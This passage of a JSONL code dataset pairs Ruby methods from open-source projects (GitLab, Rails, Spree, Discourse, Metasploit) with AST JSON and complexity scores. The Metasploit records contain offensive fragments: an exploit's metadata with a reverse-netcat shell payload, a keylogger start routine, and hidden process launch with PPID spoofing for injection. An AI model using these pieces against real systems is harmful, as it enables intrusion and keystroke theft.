,{\"type\":\"str\",\"children\":[\"2021-07-08\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_ARMLE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic Target\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"cmd/unix/reverse_netcat_gaping\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The path to the instantrec page\"]},{\"type\":\"str\",\"children\":[\"/uapi-cgi/instantrec.cgi\"]}]}]}]}]}]}]}","id":"8011a8d8-d753-41c3-a59e-3d44718ffba8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/boards/sidebar_spec.rb","start_line":56,"raw_source":"def refresh_and_click_first_card\n    page.refresh\n\n    wait_for_requests\n\n    first_card.click\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"refresh_and_click_first_card\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"refresh\"]},{\"type\":\"send\",\"children\":[null,\"wait_for_requests\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"first_card\"]},\"click\"]}]}]}","id":"97ca5c5f-ff33-41f7-b42e-9e65f732e806"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/product.rb","start_line":679,"raw_source":"def build_variants_from_option_values_hash\n      ensure_option_types_exist_for_values_hash\n      values = option_values_hash.values\n      values = values.inject(values.shift) { |memo, value| memo.product(value).map(&:flatten) }\n\n      values.each do |ids|\n        variants.create(\n          option_value_ids: ids,\n          price: master.price\n        )\n      end\n      save\n    end","complexity_score":21.3,"ast_json":"{\"type\":\"def\",\"children\":[\"build_variants_from_option_values_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ensure_option_types_exist_for_values_hash\"]},{\"type\":\"lvasgn\",\"children\":[\"values\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"option_values_hash\"]},\"values\"]}]},{\"type\":\"lvasgn\",\"children\":[\"values\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"inject\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"shift\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"memo\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"memo\"]},\"product\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"flatten\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ids\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"variants\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"option_value_ids\"]},{\"type\":\"lvar\",\"children\":[\"ids\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"price\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"master\"]},\"price\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"save\"]}]}]}","id":"6ae7de97-30f0-4380-9ea1-1faee1c4d3d6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/projects/jira_projects_resolver.rb","start_line":43,"raw_source":"def jira_projects(name:)\n        args = { query: name }.compact\n\n        Jira::Requests::Projects::ListService.new(project.jira_integration, args).execute\n      end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"jira_projects\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},\"compact\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jira\"]},\"Requests\"]},\"Projects\"]},\"ListService\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"jira_integration\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]},\"execute\"]}]}]}","id":"3cc47bc8-5d3a-48cb-917f-ef02a297274d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/system_notes/time_tracking_service.rb","start_line":114,"raw_source":"def formatted_spent_at(spent_at)\n      spent_at ||= DateTime.current\n      timezone = author.timezone\n      timezone = Time.zone.name if timezone.blank? || ActiveSupport::TimeZone[timezone].nil?\n      spent_at.in_time_zone(timezone)\n    end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"formatted_spent_at\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"spent_at\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"spent_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"current\"]}]},{\"type\":\"lvasgn\",\"children\":[\"timezone\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"author\"]},\"timezone\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timezone\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeZone\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"timezone\"]}]},\"nil?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"timezone\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"name\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spent_at\"]},\"in_time_zone\",{\"type\":\"lvar\",\"children\":[\"timezone\"]}]}]}]}","id":"ba571551-7061-4866-8658-1f867a8d237a"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/nodes/homogeneous_in.rb","start_line":18,"raw_source":"def eql?(other)\n        super || (self.class == other.class && self.ivars == other.ivars)\n      end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"eql?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"class\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"ivars\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"ivars\"]}]}]}]}]}]}","id":"85d20d85-2caf-45be-a000-7850851a22f7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msfenv.rb","start_line":66,"raw_source":"def print_good(msg)\n  _warn_deprecation_message __method__\n  $stdout.puts(msg)\nend","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"print_good\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"msg\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_warn_deprecation_message\",{\"type\":\"send\",\"children\":[null,\"__method__\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stdout\"]},\"puts\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]}","id":"011b6cd9-427c-4dd8-9148-97f01d971e76"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/capture/lockout_keylogger.rb","start_line":85,"raw_source":"def startkeylogger(session)\n    print_status('Starting the keystroke sniffer...')\n    session.ui.keyscan_start\n    return true\n  rescue StandardError\n    print_error('Failed to start Keylogging!')\n    return false\n  end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"startkeylogger\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"session\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Starting the keystroke sniffer...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"ui\"]},\"keyscan_start\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Failed to start Keylogging!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},null]}]}","id":"5b096d12-fb5b-4f83-9bdd-5e7b7619e641"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/space_around_keyword.rb","start_line":118,"raw_source":"def on_resbody(node)\n          check(node, [:keyword].freeze)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_resbody\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"check\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"keyword\"]}]},\"freeze\"]}]}]}","id":"14b81473-2457-4c18-b7ca-adb11e39e1b4"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/schema_test.rb","start_line":332,"raw_source":"def test_pluck_with_qualified_schema_name\n    Thing1.create(id: 1, name: \"thing1\", email: \"thing1@localhost\", moment: Time.now)\n    assert_equal [\"thing1\"], Thing1.pluck(:\"test_schema.things.name\")\n  end","complexity_score":4.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_pluck_with_qualified_schema_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thing1\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"thing1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"str\",\"children\":[\"thing1@localhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"moment\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"thing1\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thing1\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"test_schema.things.name\"]}]}]}]}]}","id":"7ce1b8a3-c7c9-49e8-bea8-ef18c74d382a"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/tracker/constants.rb","start_line":62,"raw_source":"def [] exp\n      return unless constant? exp\n      match = find_constant exp\n\n      if match\n        match.value\n      else\n        nil\n      end\n    end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"[]\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"constant?\",{\"type\":\"lvar\",\"children\":[\"exp\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"send\",\"children\":[null,\"find_constant\",{\"type\":\"lvar\",\"children\":[\"exp\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"value\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"044a55fe-e312-4d4e-b80c-c2160572981d"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/app/controllers/api/v1/models_controller.rb","start_line":75,"raw_source":"def destroy\n        authorize model\n        @action = \"delete\"\n        @audit_resource = model.name\n        model.destroy!\n        head :no_content\n      end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorize\",{\"type\":\"send\",\"children\":[null,\"model\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@action\",{\"type\":\"str\",\"children\":[\"delete\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@audit_resource\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"destroy!\"]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"no_content\"]}]}]}]}","id":"7bca24e6-9539-48d5-aebf-a7546d01fe16"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/features/work_packages/work_packages_page.rb","start_line":76,"raw_source":"def close_toasters\n    page.all(:css, \".op-toast--close\").each(&:click)\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"close_toasters\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"all\",{\"type\":\"sym\",\"children\":[\"css\"]},{\"type\":\"str\",\"children\":[\".op-toast--close\"]}]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"click\"]}]}]}]}","id":"8b710e7b-779a-462b-a38e-d50340bc7e6f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/manage/execute_dotnet_assembly.rb","start_line":179,"raw_source":"def launch_process\n    if datastore['PROCESS'].nil?\n      fail_with(Failure::BadConfig, 'Spawn and inject selected, but no process was specified')\n    end\n\n    ppid_selected = datastore['PPID'] != 0 && !datastore['PPID'].nil?\n    if ppid_selected && !pid_exists(datastore['PPID'])\n      fail_with(Failure::BadConfig, \"Process #{datastore['PPID']} was not found\")\n    elsif ppid_selected\n      print_status(\"Spoofing PPID #{datastore['PPID']}\")\n    end\n\n    process_name = sanitize_process_name(datastore['PROCESS'])\n    print_status(\"Launching #{process_name} to host CLR...\")\n\n    begin\n      process = client.sys.process.execute(process_name, nil, {\n        'Channelized' => false,\n        'Hidden' => true,\n        'UseThreadToken' => !(!datastore['USETHREADTOKEN']),\n        'ParentPid' => datastore['PPID']\n      })\n      hprocess = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)\n    rescue Rex::Post::Meterpreter::RequestError => e\n      fail_with(Failure::BadConfig, \"Unable to launch process: #{e}\")\n    end\n\n    print_good(\"Process #{hprocess.pid} launched.\")\n    hprocess\n  end","complexity_score":70.6,"ast_json":"{\"type\":\"def\",\"children\":[\"launch_process\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PROCESS\"]}]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"Spawn and inject selected, but no process was specified\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"ppid_selected\",{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PPID\"]}]},\"!=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PPID\"]}]},\"nil?\"]},\"!\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ppid_selected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pid_exists\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PPID\"]}]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Process \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PPID\"]}]}]},{\"type\":\"str\",\"children\":[\" was not found\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ppid_selected\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Spoofing PPID \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PPID\"]}]}]}]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"process_name\",{\"type\":\"send\",\"children\":[null,\"sanitize_process_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PROCESS\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Launching \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"process_name\"]}]},{\"type\":\"str\",\"children\":[\" to host CLR...\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"process\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"sys\"]},\"process\"]},\"execute\",{\"type\":\"lvar\",\"children\":[\"process_name\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Channelized\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Hidden\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"UseThreadToken\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USETHREADTOKEN\"]}]},\"!\"]}]},\"!\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ParentPid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PPID\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hprocess\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"sys\"]},\"process\"]},\"open\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"process\"]},\"pid\"]},{\"type\":\"const\",\"children\":[null,\"PROCESS_ALL_ACCESS\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"RequestError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to launch process: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Process \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hprocess\"]},\"pid\"]}]},{\"type\":\"str\",\"children\":[\" launched.\"]}]}]},{\"type\":\"lvar\",\"children\":[\"hprocess\"]}]}]}","id":"d11aa3ce-0905-4c16-a399-f61a91dc11d0"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/json_stream_decoder.rb","start_line":11,"raw_source":"def initialize(symbolize_keys: true, line_regex: LINE_REGEX)\n        @symbolize_keys = symbolize_keys\n        @buffer = +\"\"\n        @line_regex = line_regex\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"symbolize_keys\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"line_regex\",{\"type\":\"const\",\"children\":[null,\"LINE_REGEX\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@symbolize_keys\",{\"type\":\"lvar\",\"children\":[\"symbolize_keys\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@buffer\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@line_regex\",{\"type\":\"lvar\",\"children\":[\"line_regex\"]}]}]}]}","id":"42f6390a-2b69-49b8-b6be-b34e72daf18b"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/projects/filters/type_filter.rb","start_line":32,"raw_source":"def allowed_values\n    @allowed_values ||= Type.pluck(:name, :id)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_values\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@allowed_values\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Type\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}","id":"82d76b6b-a030-4dc5-8dd1-bf77e5b44601"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/jobs/base.rb","start_line":79,"raw_source":"def stop(exception:)\n        return unless enabled?\n\n        self.class.mutex.synchronize do\n          profile = MethodProfiler.stop\n\n          @@active_jobs.delete(self)\n\n          @data[\"duration\"] = profile[:total_duration] # Duration - length in seconds it took to run\n          @data[\"sql_duration\"] = profile.dig(:sql, :duration) || 0 # Sql Duration (s)\n          @data[\"sql_calls\"] = profile.dig(:sql, :calls) || 0 # Sql Statements - how many statements ran\n          @data[\"redis_duration\"] = profile.dig(:redis, :duration) || 0 # Redis Duration (s)\n          @data[\"redis_calls\"] = profile.dig(:redis, :calls) || 0 # Redis commands\n          @data[\"net_duration\"] = profile.dig(:net, :duration) || 0 # Redis Duration (s)\n          @data[\"net_calls\"] = profile.dig(:net, :calls) || 0 # Redis commands\n          @data[\"live_slots_finish\"] = GC.stat[:heap_live_slots]\n          @data[\"live_slots\"] = @data[\"live_slots_finish\"] - @data[\"live_slots_start\"]\n\n          if exception.present?\n            @data[\"exception\"] = exception # Exception - if job fails a json encoded exception\n            @data[\"status\"] = \"failed\"\n          else\n            @data[\"status\"] = \"success\" # Status - fail, success, pending\n          end\n\n          write_to_log\n        end\n      end","complexity_score":51.5,"ast_json":"{\"type\":\"def\",\"children\":[\"stop\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"exception\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enabled?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"mutex\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"profile\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MethodProfiler\"]},\"stop\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@active_jobs\"]},\"delete\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@data\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"duration\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profile\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"total_duration\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@data\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"sql_duration\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profile\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"sql\"]},{\"type\":\"sym\",\"children\":[\"duration\"]}]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@data\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"sql_calls